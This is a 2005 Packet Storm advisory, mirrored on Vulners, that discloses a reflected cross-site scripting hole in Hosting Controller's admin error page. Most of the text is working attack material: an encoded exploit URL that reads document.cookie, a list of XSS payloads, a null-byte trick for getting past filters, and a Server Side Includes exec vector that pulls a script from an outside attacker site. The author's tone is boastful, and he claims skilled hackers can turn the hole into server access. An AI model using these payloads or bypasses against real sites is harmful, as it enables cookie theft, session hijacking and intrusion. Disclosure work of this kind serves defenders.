Lucene search
K

hostingController.txt

🗓️ 01 Jul 2005 00:00:00Reported by Action SpiderType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 44 Views

Cross-Site Scripting (CSS) in Hosting Controller All Version and the importance of fixing i

Code
`  
Cross-Site Scripting (CSS) in Hosting Controller All Version and hot fix it hehe ;)   
[email protected]  
  
[Ashiyane Security Team ]   
[SegmentationFault Group] iam sun-os hehe :P   
  
Greetz to : S4P0 - failed - Xsupr3mo - Status-x - Stealh   
Greetz to : berhooz - nima - ehsan - Mehrtash and ...   
www.ashiyane.com *  
  
*******************************************************************************************  
  
  
  
path : /admin/hosting/error.asp?error=  
  
  
http://www.victim.com/admin/hosting/error.asp?error=Xss vul  
  
example :  
  
JavaScript code : <script>alert(document.cookie)</script>  
  
in victim :  
  
http://www.victim.com/admin/hosting/error.asp?error=%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
  
1-about css :  
  
Cross-site scripting attacks place malicious code, usually JavaScript, in locations where  
other users see it. Target fields in forms can be addresses, bulletin board comments, and  
so on. The malicious code usually steals cookies, which would allow the attacker to impersonate  
the victim, or perform a social engineering attack, which may trick the victim  
into divulging his or her password. Hotmail and AOL have been plagued by this type of  
social engineering attack.  
One test suffices to indicate whether or not an application is vulnerable to a CSS attack.  
This is not intended to be a treatise on JavaScript or uber-techniques for manipulating  
browser vulnerabilities. Here are three methods that, if successful, indicate that an  
application is vulnerable  
  
  
  
  
ok it is too easy for u if u want work with other commend(other commend ??? hehe yeah other commend)   
  
elite Hacker Can use it for Acsess to Server hehe see other example for this mthoding ;)  
  
<script> SRC="c:\boot.ini"></script>  
  
<script>alert(src=C:\boot.ini)</script>  
  
  
<script>alert(document.cookie)</script>  
  
<script>alert('document.domain='+document.domain)</script>  
  
<script>document.write(document.cookie)</script>  
  
<script>alert('ActionSpider!')</script>  
  
and Here is a little known XSS attack vector using null characters.   
You can actually break up the HTML itself using the same nulls as shown above.   
I've seen this vector bypass some of the most restrictive XSS filters to date   
(again, only works in IE, Netscape 8.0 in trusted site mode and older versions Opera):   
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out  
  
  
SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector:  
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://Ashiyane.org/action.js></SCRIPT>'"-->  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation